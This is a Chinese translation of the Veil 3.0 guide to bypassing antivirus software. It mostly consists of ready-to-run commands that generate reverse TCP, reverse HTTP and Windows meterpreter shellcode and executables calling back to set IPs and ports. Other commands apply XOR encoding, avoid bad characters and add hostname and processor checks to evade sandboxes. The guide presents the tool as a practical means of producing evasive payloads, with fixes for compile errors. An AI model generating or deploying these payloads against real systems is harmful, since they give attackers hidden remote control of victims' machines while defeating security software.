绕过杀软之Veil3.0官方指南
本文翻译自Veil官方文档
大部分Veil用户将利用Veil的交互式菜单生成shellcode和或Veil载荷。 但是,我猜测虽然只有少数用户会使用命令行选项,但他们使用的相当频繁。 因此,我想确保在Veil用户在想要通过script来使用时(或任何其他方式)存在命令行界面。 在Veil 3.0版本中,一些选项是相同的,但是该工具引入了更多的命令行选项,这就是我在本文中想要介绍的。
1 |
|
1. Ordnance——军械库
我将在命令行中介绍如何在Veil中使用军械库,这应该非常简单。 如果你以前从未使用过军械库,那么该工具比msfvenom生成shellcode更加易用。
1.1 列出军械库的所有载荷
veil -t Ordnance --list-payloads
1.2 列出军械库的所有编码模块
veil -t Ordnance --list-encoders
1.3 生成反弹TCP载荷
veil -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234
使用军械库模块,指定反弹的ip为192.168.1.20、端口为1234,生成反弹tcp载荷。
1.4 生成反弹HTTP载荷
veil -t Ordnance --ordnance-payload rev_http --ip 192.168.1.21 --port 1235 -e xor -b \\x13\\x98
使用军械库模块,指定反弹的ip为192.168.1.21、端口为1235,生成反弹http载荷。并且该命令还设置了xor编码、避免使用坏字符\x13\x98
2. Evasion——免杀
2.1 列出免杀模块的所有载荷
veil -t Evasion --list-payloads
2.2 使用33免杀模块生成可执行文件
veil -t Evasion -p 33 --ordnance-payload rev_tcp --ip 192.168.1.3 --port 8675 -o christest
该命令会生成一个可执行的载荷。设置了免杀载荷编号为33。通过上一小节查询到33) python/shellcode_inject/flat.py
,就可以指定-p 33
。
使用的是军械库反弹tcp的载荷,设置反弹IP192.168.1.3
和8675
,设置生成的文件名为christest
。要注意的是,该命令使用的是Ordnance军械库模块来生成shellcode。
2.3 使用41免杀模块生成可执行文件
veil -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o chris
使用指定ip和端口、免杀载荷为41,生成一个windows平台反弹meterpreter的载荷。和上一小节不同的是,使用的是msfvenom而不是军械库模块来生成shellcode。
生成的应用程序,可以使用file var/lib/veil/output/compiled/chris.exe
进行查看。
2.4 使用34免杀模块生成可执行文件
veil -t Evasion -p 34 --ordnance-payload rev_tcp --ip 192.168.1.5 --port 8677 -o chrisout -c hostname=thegrid processors=2
该命令会生成一个可执行的载荷。设置了免杀载荷编号为34。使用军械库模块生成反弹tcp的shellcode,反弹连接的IP、端口如命令所示。生成的可执行程序名称为chrisout,并且执行了两项检查,载荷被设置为目标机器的主机名为thegrid,系统的进程至少是2个。
如果你只想检查主机名,就可以删除processors=2
,内置这样的基本检查,当尝试枚举和绕过沙箱的时候很有用。
如果是使用python免杀模块,编号从25到36,那么编译的时候很可能出错。
当出现错误,ImportError: No module named 'past'
可以使用以下命令,手动将py脚本编译为exe,生成的程序在build文件夹下。
1 |
|
如果出现了上图的错误,可以安装apt-get install winbind
2.5 删除所有生成的载荷
veil --clean
如果您创建了多个有效负载,并且只想删除所有编译后的输出,源代码,处理程序文件和跟踪的哈希,请运行此命令,Veil将删除所有内容。